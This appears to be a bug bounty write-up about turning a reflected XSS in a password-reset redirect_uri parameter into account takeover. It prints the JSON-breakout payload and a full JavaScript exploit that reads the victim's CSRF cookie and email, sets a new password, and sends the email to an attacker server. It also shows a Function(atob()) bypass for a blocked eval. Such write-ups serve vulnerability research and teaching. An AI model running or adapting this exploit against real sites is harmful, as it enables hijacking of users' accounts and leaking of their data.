Reflected XSS To Account Takeover Without Stealing Session Cookie

1 month ago 16
BOOK THIS SPACE FOR AD
ARTICLE AD

A few days ago when doing bug bounty in a private program in Hackerone. I found a reflected XSS in their forgot password functionality in redirect_uriparam. I’m able to inject XSS payload and trigger the mighty alert popup with cookie value in it or send the cookie to my Burp collabolator server. Then it’s done, create a report then submit it and I got the bounty right? Well it’s not that simple. There’s httponly attributes in the session cookie. Along with further analysis below I’ll explain more about my approach to utilize this XSS to takeover account without stealing the session cookie

This is easy to detect but you need to pay attention to the detail of any reflected value and how the server respond it. Also Installing Burp extension like Reflected could help you to detect it

Forgot password flow :

1.GET https://account.redacted.com/password/forgot?client_id=redacted_client_id&response_type=code&redirect_uri=https://account.redacted.com/api/login-redirect
(it show 200 OK with all the params reflected in the response)
2. POST https://account.redacted.com/password/forgot
(param : client_id, redirect_uri, response_type, tenantId , email)
(it show 302 Found redirect to 3rd request)
3. GET https://account.redacted.com/password/sent?client_id=redacted_client_id&redirect_uri=https%3A%2F%2Faccount.redacted.com%2Fapi%2Flogin-redirect&response_type=code&tenantId=redacted_tenant_id
(it show 200 OK with all the params reflected in the response)

In the first flow I tried to inject ' in the redirect_uri param but it redirect to /404 , so we can’t inject xss there

fail XSS in flow 1

In the second flow, I tried again to inject ' in the redirect_uri param but it also redirect to /404.

In the third flow I tried to inject ' in the redirect_uri param and it still render the page and the object is broken, we found something here !

Broke JSON in flow 3

With this payload we can trigger the XSS

http://google.com'-window.alert(document.domain),'x':'

XSS alert trigger

As stated before the session cookie is secured with httponly attributes so we can’t takeover victim account that way.

After some analysis i found 2 important point :

The X-Redacted-CSRF-Token is contain the CSRF token and the httponly attributes is not set so we can steal itThe update password feature is using CSRF token but it only require new password parameter and doesn’t need the current password

You see where it’s going right?

We can use those behaviour to create this attack scenario :

Steal user CSRF Token via X-Redacted-CSRF-Token cookieSend request to get user profile endpoint to obtain victim emailSend request to update victim password with stealed CSRF tokenSend request to attacker server containing the victim email to notify the victim with that email address has been hackedOnce attacker get notified, attacker just need to login to victim account using victim email and the new password

Technical Aspect

Learned from Portswigger academy i always like to use the eval(atob('<base64(payload)>')) to execute XSS payload without having trouble with the ',",new line or other similar character. But in this case the eval function is blocked. Fortunately we can still use the Function().

Code :

var victimData = {}
const response = fetch('/api/user', {
method: 'GET',
credentials: 'include'
}).then((response)=>{return response.json()
}).then((data) => {
victimData['email'] = data['email']
})
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
const csrfToken = getCookie('X-Redacted-Csrf-Token')
fetch('/api/user/password?csrf='+csrfToken,{
method: 'PUT',
credentials: 'include',
body: JSON.stringify({email: victimData['email'], password: 'v1ctimN3wPassw00rd#'})
}).then((response) => {
if (response.status === 200){
alert(`Account ${victimData['username']} with email ${victimData['email']} has been pwned. Password: v1ctimN3wPassw00rd#`)
}else{
alert('Error: ' + status_code)
}
})
fetch('https://<attacker server>?email='+victimData['email'])

Final exploit :

http://google.com'-Function(atob('<base64(code)>'))(),'x':'

We should pay attention to cookies attributes like httponly and secure and which is the session cookie that could be used to authenticate and which is not. If the session cookie is set with httponly then try to find other way to retrieve it like from phpinfo.php file or maybe some pages that leaks the cookie in the response body. If there’s nothing then just do some further analysis and be creative to use this javascript execution to obtain the account takeover or other more impacted action. Always aim to get the highest impact

Read Entire Article